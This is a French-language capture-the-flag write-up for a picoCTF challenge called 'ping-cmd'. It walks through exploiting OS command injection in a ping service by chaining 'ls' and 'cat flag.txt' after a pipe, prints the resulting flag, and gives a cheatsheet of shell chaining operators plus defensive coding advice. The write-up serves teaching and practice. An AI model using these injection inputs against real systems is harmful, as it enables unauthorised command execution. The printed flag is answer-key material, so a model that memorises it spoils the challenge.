

Web / General — ping-cmd

Exploitation d'injection de commande système (OS Command Injection)

PLATEFORME : picoCTF
2026

CATÉGORIE : General Skills /
Web

DIFFICULTÉ / AUTEUR : Easy / Yahaya
Meddy

FLAG : picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_8555bda7}

//# 1. OBJECTIF & RÉSUMÉ DE LA VULNÉRABILITÉ

L'objectif de ce challenge est de contourner la logique d'une application distante effectuant la commande système `ping` afin d'obtenir un accès en lecture sur le fichier restreint `flag.txt`.

L'application souffre d'une vulnérabilité d'**Injection de commande système (OS Command Injection)** : elle prend la saisie utilisateur (censée être une IP) et l'exécute directement dans le shell sans assainissement (*sanitization*) ni validation stricte.

CONCEPT CLÉ CYBERSÉCURITÉ : COMMAND INJECTION & MÉTACARACTÈRES SHELL

Une **Command Injection** survient lorsqu'une application transmet des données non vérifiées à un interpréteur de commandes (ex: Bash). L'injection d'opérateurs comme le tube `|`, le point-virgule `;` ou l'opérateur `&&` permet de chaîner plusieurs commandes et d'exécuter des instructions arbitraires avec les privilèges du processus serveur.

//# 2. OUTILS & CONCEPTS CLÉS

Outil / Concept	Rôle & Utilisation dans le CTF
<code>netcat</code> (<code>nc</code>)	Utilitaire réseau permettant d'ouvrir des connexions brutes en TCP avec le serveur distant.
Opérateur Pipeline (<code> </code>)	Métacaractère Unix transmettant la sortie d'une commande à l'entrée d'une autre, forçant l'exécution en chaîne.
<code>ls</code> & <code>cat</code>	Commandes POSIX fondamentales utilisées respectivement pour énumérer le dossier courant et afficher le contenu du flag.
Absence de Sanitization	Faible applicative consistant à faire confiance à la saisie client au lieu d'imposer une liste blanche (Whitelisting).

//# 3. DÉMARCHE PAS À PAS (MÉTHODOLOGIE)

Étape 1 : Connexion Réseau & Analyse de l'Application

La première étape consiste à se connecter au service via la commande `netcat` sur le port spécifié :

```
nc mysterious-sea.picoctf.net 49294
```

L'application affiche le prompt suivant :

```
Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'):
```

Étape 2 : Validation de l'Injection (Énumération avec `ls`)

En s'appuyant sur l'indice N°2 ("*Sometimes, You can run more than one command at a time*"), l'objectif est d'injecter une commande de reconnaissance après l'adresse IP attendue en utilisant le caractère pipe `|` :

```
8.8.8.8 | ls
```

Résultat retourné par le serveur :

```
flag.txt
script.sh
```

Le shell distant interprète la seconde commande. La liste des fichiers présents montre que le fichier `flag.txt` se trouve dans le répertoire courant.

Étape 3 : Exploitation Finale & Obtention du Flag

Une fois l'injection confirmée, une nouvelle connexion est établie afin de lire le contenu du fichier identifié à l'aide de la commande `cat` :

```
8.8.8.8 | cat flag.txt
```

Sortie obtenue :

```
picoCTF{p1nG_c0mm@nd_3xpL0it_su33essFuL_8555bda7}
```

//# 4. MÉMENTO TECHNIQUE (CHEATSHEET OS INJECTION)

Opérateurs d'enchaînement d'instructions en Shell Unix :

Métacaractère	Comportement / Description
<code> </code> (Pipeline)	Redirige la sortie de la commande de gauche vers la commande de droite (exécute toujours la suite).
<code>;</code> (Séquence)	Exécute la seconde commande de manière séquentielle, indépendamment du succès de la première.
<code>&&</code> (ET logique)	Exécute la seconde commande uniquement si la première s'est terminée sans erreur (code de retour 0).
<code> </code> (OU logique)	Exécute la seconde commande uniquement si la première a échoué.
<code>\$(...)</code> / <code>`...`</code>	Substitution de commande : exécute l'instruction imbriquée et insère son résultat.

//# 5. LEÇONS RETENUES & REFLEXES À GARDER

AUTOMATISMES DE SÉCURITÉ APPLICATIVE

- **Jamais de confiance envers l'Input Utilisateur** : Ne jamais concaténer directement une entrée utilisateur dans une commande système (ex: `system("ping " + user_input)`).
- **Préférer le Whitelisting & API Sécurisées** : Valider la donnée via des expressions régulières strictes (ex: filtrer une IP exacte) et utiliser des fonctions exécutant les arguments sous forme de tableau (ex: `subprocess.run(["ping", "-c", "1", ip_address])` en Python).
- **Reflexes de Test en CTF** : Lorsqu'un champ texte accepte des paramètres réseau, tester systématiquement les métacaractères `|`, `;`, `&`, et ```.